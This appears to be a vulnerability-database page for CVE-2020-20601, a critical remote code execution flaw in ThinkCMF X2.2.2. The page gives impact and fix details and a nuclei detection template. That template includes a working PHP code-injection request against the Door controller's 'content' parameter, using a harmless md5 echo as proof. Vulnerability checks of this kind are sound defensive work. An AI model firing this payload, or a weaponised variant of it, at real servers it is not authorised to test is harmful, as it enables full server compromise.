Browse / CVEs / CVE-2020-20601
CVE-2020-20601· thinkcmf / thinkcmf· CWE-94
ThinkCMF X2.2.2 - Remote Code Execution
criticalseverity
9.8CVSS score
7.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
ThinkCMF X2.2.2 and below contain a remote code execution caused by processing crafted packets, letting attackers execute arbitrary code remotely, exploit requires sending malicious packets.
Impact
Unauthenticated attackers can execute arbitrary PHP code on ThinkCMF servers, leading to complete server compromise and access to all website data.
Fix
Upgrade to ThinkCMF version X2.2.3 or later.
How to confirm it
Send: GET {{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF');
Positive when: contains "d9b2c63a497e2f30c4ad9ad083a00691" AND status 200Run it with nuclei: nuclei -id CVE-2020-20601 -u <target>
The full check
id: CVE-2020-20601
info:
name: ThinkCMF X2.2.2 - Remote Code Execution
author: pikpikcu
severity: critical
description: |
ThinkCMF X2.2.2 and below contain a remote code execution caused by processing crafted packets, letting attackers execute arbitrary code remotely, exploit requires sending malicious packets.
impact: |
Unauthenticated attackers can execute arbitrary PHP code on ThinkCMF servers, leading to complete server compromise and access to all website data.
remediation: |
Upgrade to ThinkCMF version X2.2.3 or later.
reference:
- https://www.shuzhiduo.com/A/l1dygr36Je/
- https://blog.riskivy.com/thinkcmf-%e6%a1%86%e6%9e%b6%e4%b8%8a%e7%9a%84%e4%bb%bb%e6%84%8f%e5%86%85%e5%ae%b9%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-20601
cwe-id: CWE-94
epss-score: 0.07424
epss-percentile: 0.94494
cpe: cpe:2.3:a:thinkcmf:thinkcmf:x2.2.2:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: thinkcmf
product: thinkcmf
tags: cve,cve2020,thinkcmf,rce,vuln,vkev
http:
- method: GET
path:
- "{{BaseURL}}/index.php?g=g&m=Door&a=index&content=<?php%20echo%20md5('ThinkCMF');"
matchers-condition: and
matchers:
- type: word
words:
- "d9b2c63a497e2f30c4ad9ad083a00691"
- type: status
status:
- 200References
- https://www.shuzhiduo.com/A/l1dygr36Je/
- https://blog.riskivy.com/thinkcmf-%e6%a1%86%e6%9e%b6%e4%b8%8a%e7%9a%84%e4%bb%bb%e6%84%8f%e5%86%85%e5%ae%b9%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9e/
Use this check only on systems you are authorised to test. Where the data comes from